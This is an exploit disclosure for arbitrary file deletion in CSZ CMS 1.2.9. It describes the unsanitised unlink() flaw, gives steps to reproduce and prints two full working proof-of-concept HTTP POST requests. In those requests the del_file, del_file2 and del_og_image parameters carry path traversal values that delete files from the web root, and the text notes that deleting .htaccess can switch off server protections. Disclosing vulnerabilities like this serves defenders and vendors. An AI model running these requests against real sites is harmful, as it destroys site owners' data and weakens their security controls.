CSZ CMS 1.2.9 – ‘Multiple’ Arbitrary File Deletion
# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion # Date: 2021-07-20 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://www.cszcms.com # Software Link: https://sourceforge.net/projects/cszcms/files/latest/download # Version: 1.2.9 # Tested on: Windows 10, XAMPP # Reference: https://github.com/cskaza/cszcms/issues/32 ################ # Description # ################ # CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints. ########## # PoC 1 # ########## Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php Steps to Reproduce: 1. Login as admin 2. Goto Plugin Manager > Article > edit any article 3. Upload any image as "Main Picture" and "File Upload" and click save button 4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button 5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2" 1) Assumed there are files conf_secret_file.php and config_backup.txt in web root PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root Request: ======== POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1 Host: localhost Content-Length: 2048 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25 Connection: close ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="title" article beta ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="keyword" testing file ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="short_desc" deletion ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="cat_id" 2 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="content" <div class="row"> <div class="col-md-12"> <p>test for file deletion</p> </div> </div> <p><br><br></p> ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="del_file" ../../../conf_secret_file.php ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="file_upload"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="mainPicture" 2021/1626802955_1.png ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="del_file2" ../../../config_backup.txt ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="file_upload2"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="mainFile" 2021/1626802956_1.png ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="lang_iso" en ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="active" 1 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_active" 1 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_limit" 5 ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="fb_comment_sort" reverse_time ------WebKitFormBoundaryAMyATk1BfQaBOHvY Content-Disposition: form-data; name="submit" Save ------WebKitFormBoundaryAMyATk1BfQaBOHvY-- --- ########## # PoC 2 # ########## Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php Steps to Reproduce: 1. Login as admin 2. Goto General Menu > Site Setting 3. Upload any image as "Site Logo" and "Image of og metatag" and click save button 4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button 5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image" 2) Assumed there are files conf_secret_file.php and config_backup.txt in web root PoC #2) param del_file & del_og_image - Deleting conf_secret_file.php and config_backup.txt in web root Request: ======== POST /CSZCMS-V1.2.9/admin/settings/update HTTP/1.1 Host: localhost Content-Length: 5163 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8cAl5KcKGP0D3Qi2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/CSZCMS-V1.2.9/admin/settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=t5jloe106o2i5hst51chr5ita9aklieu Connection: close ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteTitle" CSZ CMS Starter ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="title_setting" 2 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteFooter" © %Y% CSZ CMS Starter ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteKeyword" CMS, Contact Management System, HTML, CSS, JS, JavaScript, framework, bootstrap, web development, thai, english ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteTheme" cszdefault ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteLang" english ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="additional_metatag" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="additional_js" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="pagecache_time" 0 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="assets_static_domain" demo@cszcms.com ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="html_optimize_disable" 1 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="del_file" ../../conf_secret_file.php ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="file_upload"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteLogo" 2021/1626800829_logo.png ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="del_og_image" ../../config_backup.txt ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="og_image"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ogImage" 2021/1626800829_og.png ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="siteEmail" demo@cszcms.com ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="email_protocal" mail ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_host" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_user" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_pass" 123456 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="smtp_port" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="sendmail_path" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="email_logs" 1 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="googlecapt_sitekey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="googlecapt_secretkey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ga_client_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="ga_view_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gsearch_cxid" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_key" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_lat" -28.621975 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="gmaps_lng" 150.689082 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="fbapp_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="facebook_page_id" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="adobe_cc_apikey" ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_bg" #645862 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_fg" #ffffff ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_link" #f1d600 ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_msg" This website uses cookies to improve your user experience. By continuing to browse our site you accepted and agreed on our ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_linkmsg" Privacy Policy and terms. ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_moreinfo" https://www.cszcms.com/LICENSE.md ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_txtalign" left ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="cookieinfo_close" Got it! ------WebKitFormBoundary8cAl5KcKGP0D3Qi2 Content-Disposition: form-data; name="submit" Save ------WebKitFormBoundary8cAl5KcKGP0D3Qi2-- --- # For more explaination, you can refer to the github issue on cszcms via https://github.com/cskaza/cszcms/issues/32 # The affected version is 1.2.9. |